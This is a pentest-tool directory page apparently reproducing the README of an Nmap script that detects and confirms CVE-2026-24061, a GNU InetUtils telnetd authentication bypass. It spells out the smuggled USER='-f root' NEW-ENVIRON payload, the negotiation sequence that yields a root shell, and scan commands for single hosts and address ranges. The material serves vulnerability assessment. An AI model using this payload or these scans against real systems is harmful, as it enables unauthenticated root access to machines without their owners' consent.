Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061-NSE — The script performs a full Telnet negotiation mirroring the exact byte sequence of a real telnet -a client session. | Kitploit
Tools/GitHubGitHub/hd0x01/cve-2026-24061-nse
Vulnerability ScannersExploitationNetwork SecurityPenetration TestingAuthentication
GitHubhd0x01/cve-2026-24061-nse

CVE-2026-24061-NSE

The script performs a full Telnet negotiation mirroring the exact byte sequence of a real telnet -a client session.

View Repository
5 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-24061 — GNU InetUtils telnetd Authentication Bypass

Nmap NSE Detection Script

Nmap NSE CVE CVSSv3 License


Overview

This Nmap NSE script detects CVE-2026-24061, an authentication bypass vulnerability in GNU InetUtils telnetd versions 1.9.3 through 2.7.

By sending a crafted USER environment variable of the form -f <username> during Telnet option negotiation, an unauthenticated attacker can obtain a shell with the privileges of the specified local user — including — .

root
without providing any password

Intended Use: Authorized penetration testing and vulnerability assessment only.
Running this script against systems without explicit written permission is illegal.


Vulnerability Details

FieldValue
CVE IDCVE-2026-24061
AffectedGNU InetUtils telnetd 1.9.3 – 2.7
CVSSv3 Score9.8 Critical
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TypeAuthentication Bypass (CWE-287)
Disclosure2026-01-01

How it works

GNU InetUtils telnetd uses the Telnet NEW-ENVIRON option (RFC 1572) to receive environment variables from the client during the negotiation phase. The login(1) program is then invoked with those variables.

The vulnerability arises because telnetd passes the USER variable directly to login without sanitising it. The login program on Linux accepts a -f <user> flag meaning "pre-authenticated, do not check password". By injecting USER="-f root" via the NEW-ENVIRON payload, the attacker bypasses authentication entirely.

root@kitploit:~
Client → Server:  IAC SB NEW-ENVIRON IS  VAR "USER"  VALUE "-f root"  IAC SE
Server response:  spawns login -f root  →  root shell, no password required

Script Details

FieldValue
Filenametelnet-vuln-cve-2026-24061.nse
Categoriesvuln, exploit, intrusive
PortTCP/23 (telnet)
Tested onNmap 7.94 / 7.98, Windows & Linux

Detection Method

The script performs a full Telnet negotiation mirroring the exact byte sequence of a real telnet -a client session (reconstructed from Wireshark capture):

  1. Receive server's opening IAC burst (DO TTYPE, DO TSPEED, DO ENVIRON, …)
  2. Reply with complete client capability announcement (WILL TTYPE, WILL LINEMODE, …)
  3. Complete sub-negotiation round (SB TSPEED, SB ENVIRON, SB TTYPE)
  4. Inject crafted USER='-f <user>' in the NEW-ENVIRON IS payload
  5. Complete the WILL ECHO / DO BINARY / WONT LINEMODE sequence
    (critical — without this, telnetd cannot finalise PTY setup)
  6. Check whether the server sends a login shell prompt without a password challenge

Result states:

StateMeaning
EXPLOITShell prompt received — bypass confirmed
LIKELY_VULNENV payload accepted, no password prompt, but no shell prompt
NOT_VULNPassword prompt seen, or negotiation did not complete

Installation

Linux

root@kitploit:~
# Copy to Nmap scripts directory
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/

# Update script database
sudo nmap --script-updatedb

Windows

root@kitploit:~
# Copy to Nmap scripts directory (adjust path if needed)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"

# Update script database (run as Administrator)
nmap --script-updatedb

Usage

Basic scan (default user: root)

root@kitploit:~
nmap -p 23 --script telnet-vuln-cve-2026-24061 <target>

Specify a different user

root@kitploit:~
# Short form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <target>

# Medium form
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <target>

# Fully qualified
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
    --script-args telnet-vuln-cve-2026-24061.user=kali <target>

Scan an IP range

root@kitploit:~
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24

Verbose / Debug output

root@kitploit:~
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v  <target>   # verbose
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d  <target>   # debug
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <target>   # full hex trace

Sample Output

Vulnerable host

root@kitploit:~
PORT   STATE SERVICE
23/tcp open  telnet
| telnet-vuln-cve-2026-24061:
|   VULNERABLE:
|   GNU InetUtils telnetd Authentication Bypass
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2026-24061
|     Risk factor: Critical  CVSSv3: 9.8
|     Description:
|       The telnetd service in GNU InetUtils (1.9.3 - 2.7) allows
|       authentication bypass via a crafted USER environment variable.
|       Sending '-f <user>' results in an unauthenticated login shell.
|     Extra information:
|       Authentication bypassed: shell prompt received after injecting
|       USER='-f root' -- no password challenge was presented.
|     References:
|       https://nvd.nist.gov/vuln/detail/CVE-2026-24061
|       https://github.com/JayGLXR/CVE-2026-24061-POC
|_      https://github.com/SafeBreach-Labs/CVE-2026-24061

Not vulnerable host

root@kitploit:~
PORT   STATE SERVICE
23/tcp open  telnet

(no script output — NOT_VULN is silent by design, standard Nmap convention)


Script Arguments

ArgumentAlias(es)DefaultDescription
telnet-vuln-cve-2026-24061.usertelnet-user, userrootUsername to inject via -f

Technical Notes

Why WONT LINEMODE is critical

GNU InetUtils telnetd uses the Linemode negotiation (RFC 1184) to determine the terminal I/O mode. The server sends DO LINEMODE early in negotiation, and the client initially responds WILL LINEMODE. After the ENV payload exchange, the server sends WILL ECHO followed by DO BINARY. At this point the client must respond with WONT LINEMODE to signal character-at-a-time mode — only then can telnetd complete PTY setup (ioctl TIOCSWINSZ) and fork login. Without this step, the server logs peer died: Inappropriate ioctl for device and drops the connection.

NSE Socket API

Nmap's NSE socket API differs from standard Lua socket conventions:

root@kitploit:~
-- Nmap NSE (correct):
local status, data = sock:receive_bytes(1)
if status == true then -- data is the received string

References

  • NVD — CVE-2026-24061
  • PoC by JayGLXR
  • PoC by SafeBreach-Labs
  • RFC 1572 — NEW-ENVIRON
  • RFC 1184 — Linemode
  • Nmap NSE Documentation

Disclaimer

This script is provided for authorized security testing and research purposes only. The author is not responsible for any misuse or damage caused by this tool. Always obtain explicit written permission before testing systems you do not own.

Download Tool